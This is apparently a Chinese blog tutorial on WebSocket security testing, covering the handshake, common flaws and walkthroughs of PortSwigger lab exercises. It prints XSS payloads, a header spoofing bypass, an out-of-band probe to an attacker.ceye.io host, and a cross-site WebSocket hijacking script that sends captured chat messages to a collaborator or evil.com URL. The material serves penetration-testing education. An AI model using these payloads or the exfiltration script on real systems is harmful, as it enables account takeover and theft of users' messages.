0x01 概述
在近期的渗透测试工作中,笔者发现部分目标网站同时采用了 HTTP 和 WebSocket 协议来完成不同的业务交互,例如:某些网站上传接口使用websocket,导致都不知道怎么测试上传功能。为了补齐这一块的知识盲区,也为今后遇到类似情况时能够快速定位与处置,抽空系统性学习了 WebSocket 协议的基础原理、安全隐患以及常见漏洞测试方法,并整理成本文作为记录分享。
0X02 WebSocket 协议基础
通信原理及握手过程
WebSocket 是一种网络通信协议,用于在客户端和服务器之间建立全双工(双向)、持久连接的实时通信通道。它解决了传统 HTTP 协议在实时通信中的局限性(如轮询效率低),适合需要高频数据交换的场景。它基于一次 HTTP 握手完成协议升级,实现客户端与服务器之间的实时通信。
握手过程
在浏览器或代码里发起连接时:
new WebSocket("wss://example.com/chat") //加密通道,TLS通道建好后再发HTTP握手请求
new WebSocket("ws://example.com/chat") //明文通道,发HTTP握手请求
客户端发起 HTTP 请求,请求头中包含:
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
服务器返回 101 状态码,表示协议切换成功:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
数据传输过程
握手完成后,协议从 HTTP 升级为 WebSocket 协议,客户端与服务器之间即可通过 WebSocket 进行持久化的双向数据传输(底层使用TCP),数据传输走的是WebSocket 自定义的帧(frame)格式。
-
数据分帧传输:将消息拆分为多个帧(Frame),包含类型(文本/二进制)、长度、掩码等信息。
-
掩码加密:客户端发送的数据需用掩码(Masking Key)加密,防止中间人攻击。
-
保持连接:默认持久化,直到主动关闭或超时。
连接关闭
任一方可发送关闭帧(Close Frame)终止连接,状态码表示关闭原因(如1000
表示正常关闭)。
补充
WS:// | WSS:// |
---|---|
|
|
|
|
101 Switching Protocols |
101 Switching Protocols (加密的) |
|
|
请求头/响应头 | 作用 | 安全相关说明 |
---|---|---|
Sec-WebSocket-Key |
|
|
Sec-WebSocket-Version |
13 |
|
Upgrade: websocket |
|
|
Connection: Upgrade |
|
|
Sec-WebSocket-Accept |
Sec-WebSocket-Key 加258EAFA5-E914-47DA-95CA-C5AB0DC85B11 ,做 SHA1 + Base64,返回客户端 |
|
抓包/查看方法
Wireshark:遇到wss的情况下看不到具体数据包,只能看到底层TCP数据。
Chrome/Firefox 开发者工具:直接查看浏览器发起的 WebSocket 连接。
Burp Suite:拦截、修改和重放 WebSocket 流量和抓取HTTP一样。
websocat:命令行 WebSocket 客户端/调试工具,发送数据时某些需要遵守相应的数据格式,如JSON,否则不会响应。
0x03 常见webSocket漏洞
原则上,几乎任何网络安全漏洞都可能与 WebSockets 有关:
-
传输到服务器的用户提供的输入可能会以不安全的方式处理,从而导致 SQL 注入或 XML 外部实体注入等漏洞。
-
通过 WebSockets 发现的一些盲漏洞可能只能使用带外 (OAST) 技术检测到。
-
如果攻击者控制的数据通过 WebSockets 传输给其他应用程序用户,则可能会导致 XSS 或其他客户端漏洞。
操控 WebSocket 消息体寻找漏洞(内容注入)
篡改 WebSocket 消息体,测试服务端是否存在基于输入的漏洞,例如 XSS、SQL 注入、路径遍历等。
例如,一个具有聊天功能的Web程序使用WebSocket在客户端和服务端之间传输消息。当一个用户输入聊天消息时,如下的一个WebSocket消息被发送到服务端:
{"message":"Hello"}
当服务器没有对转发的内容做安全防御或过滤时,可能就会引发XSS攻击。
{"message":"<img src=1 onerror='alert(1)'>"}
Websocket未授权访问
某些有认证需求的API,WebSocket 服务端未对连接来源、身份进行认证,导致任意客户端可伪造连接与服务器通信,泄露敏感信息或操控操作。
使用websocat进行连接,发送消息测试,若返回用户数据,说明存在未授权访问。
连接:websocat.exe -v wss://0ae30012044ba3ba8097305600800035.web-security-academy.net/chat
发送消息:{"message":"body"}
信息泄露
WebSocket 长连接通信中,若存在返回多余调试信息、系统路径、异常堆栈等,可能泄露敏感信息,便于攻击者分析系统结构。
发送:
{"message":"getConfig"}
返回:
{"error":"File not found at /var/www/config/setting.json"}
JSON 脱字符注入:
如果 WebSocket 消息采用 JSON 传输,服务端 JSON 解析器存在缺陷,攻击者可尝试利用特殊符号"
}
]
脱出 JSON 格式,影响后续解析或执行逻辑,导致报错或其他漏洞。
{"username":"admin"}"}
伪造握手
攻击者伪造握手请求:
GET /ws HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
若后台将X-Forwarded-For
当作客户端真实 IP,可能导致管理端口开放或安全规则失效。
攻击者绕过验证:
GET /ws?uid=1 HTTP/1.1
Cookie: session=xxxx
若服务端只基于 URIuid
参数判断身份,存在权限绕过风险。
WebSocket 长连接阻塞/资源耗尽
攻击者大量建立 WebSocket 长连接占用资源,或者在长连接内不断发送大体积消息,可能导致服务器资源耗尽,造成DoS(拒绝服务)效果。
OAST(Out-of-Band Application Security Testing)
部分盲漏洞(如 SSRF、命令注入、XXE)在 WebSocket 场景下无法直接在响应内查看回显,需借助带外探测平台如Burp Collaborator
、ceye.io
,检测服务端是否存在非法对外请求。
{"url":"http://attacker.ceye.io/test"}
观察带外服务平台是否接收到请求。
客户端 WebSocket 安全缺陷
部分前端 WebSocket 实现存在逻辑缺陷,前端 JS 泄露Token、认证参数等信息。
消息顺序或状态篡改
WebSocket 是无状态的,但业务逻辑可能依赖消息顺序。
-
重放旧消息(如重复发送交易请求)。
-
乱序发送消息(如先发“确认”再发“请求”)。
跨站点 WebSocket 劫持
跨站 WebSocket 劫持(也称为跨源 WebSocket 劫持)涉及 WebSocket 握手过程中的跨站请求伪造 (CSRF) 漏洞。当 WebSocket 握手请求仅依赖 HTTP Cookie 进行会话处理,且不包含任何 CSRF 令牌或其他不可预测的值时,就会出现这种情况。
攻击者可以在自己的域名上创建一个恶意网页,与存在漏洞的应用程序建立跨站 WebSocket 连接。该应用程序将在受害者用户与其会话的上下文中处理该连接。
攻击者的页面随后可以通过该连接向服务器发送任意消息,并读取从服务器返回的消息内容。这意味着,与常规的CSRF不同,攻击者可以与受感染的应用程序进行双向交互。
0x04 webSocket漏洞案例
操纵 WebSocket 消息以利用漏洞
这家网上商店有一个使用 WebSockets 实现的实时聊天功能,请使用 WebSocket 消息在支持代理的浏览器中触发弹出窗口。
打开页面后可见存在一个聊天功能,打开浏览器开发者工具查看network可见使用websocket进行数据交互,已知消息格式为JSON,{"message":"123"}{"user":"You","content":"test"},尝试插入测试payload,在chat会话中可见标签被HTML编码:
看了下前端JS代码
可以看到,sendMessage(data)
函数在发送 WebSocket 消息前,调用了htmlEncode()
对用户输入的数据进行编码。htmlEncode(str)
函数会根据chatForm
DOM 节点上是否存在encode
属性来决定是否对传入字符串进行 HTML 实体编码:如果存在该属性,则将常见的 XSS 特殊字符(如'
,"
,<
,>
,&
等)转义为对应的 HTML 实体,避免恶意脚本执行;如果没有该属性,则直接返回原始字符串,同时在writeMessage
函数中,可以看到其将user
和content
直接通过innerHTML
插入到页面的 DOM 中。
使用burp进行抓包,绕过前端编码:
修改为payload后提交:
操纵 WebSocket 握手来利用漏洞
这家网上商店有一个使用 WebSockets 实现的实时聊天功能,请使用 WebSocket 消息在支持代理的浏览器中 触发弹出窗口。简单手工测试,发现和上一个一样会编码html标签,抓包测试,发送payload后发现,提示"This address is blacklisted":
同时在burp的repeater中会发现websocket断开连接,点击Reconnect无法连接上,已知需要对握手包进行操作,增加一个常见XFF连接测试,连接成功。
已经知道发送payload会被封IP,需要对payload进行简单绕过,绕过后使用burp刷新页面在增加XFF,发现页面加载了但是对话消息没加载出来(hackbar和burp只能应用一次请求头,这里不适用),使用插件(Modheader)将XFF实时应用到每一个请求,访问成功。但是没执行,在js中htmlEncode(str)
对引号做了编码,但是反引号不在里面,更换后提交成功:
<iMg sRc=1 oNerroR=alert`2`>
跨站点 WebSocket 劫持
聊天室 WebSocket 连接请求,该请求没有 CSRF 令牌:
GET /chat HTTP/2
Host: 0a1400bf0361c6ce808a126e00ff0095.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0a1400bf0361c6ce808a126e00ff0095.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7,en-GB;q=0.6
Cookie: session=Z5OapfPjvO40DQih2gZBfbnYLl8lT9LW
Sec-Websocket-Key: ZTbSt/CFe+T46mqjRnaFBQ==
在解决方案中给出了这样一段JS代码:
<script>
var ws = new WebSocket('wss://your-websocket-url'); //建立一个wss连接
ws.onopen = function() {
ws.send("READY"); //发送一个READY消息给服务器
};
ws.onmessage = function(event) { //当收到服务器发来的WebSocket消息时触发,将消息发送到burp Collaborator
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
大概含义:建立到目标网站 WebSocket 服务端的连接,当 WebSocket 连接成功时,发送一条消息"READY"
给服务器,触发服务器可能返回一些聊天消息,把收到的 WebSocket 消息内容,原样 POST到攻击者控制的服务器上(比如 Burp Collaborator)。
更换相应的URL地址后在go to exploit提交,可以看到已经有了消息,拿到账户口令后登录成功。
这里能成功外带的条件:
-
没有CSRF 令牌校验,导致允许恶意来源建立连接
-
客户端发送
READY
,服务端推送聊天记录/建立连接服务器主动推送聊天记录 -
no-cors
模式,允许跨域请求发出去,不会被浏览器拦截,但JS 拿不到返回值,只能发,不能读。
fetch('https://evil.com', {
method: 'POST',
mode: 'no-cors',
body: '这里是要偷偷带走的数据'
});
0x05 总结
WebSocket 带来了更高效的前后端实时通信,但随之而来的安全风险也不容忽视,其实大部分问题仍然可以沿用常规 Web 渗透测试的思路来发现和利用,只要熟悉协议特点,测试起来并不复杂。
原文始发于微信公众号(德斯克安全小课堂):WebSocket 安全测试入门实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论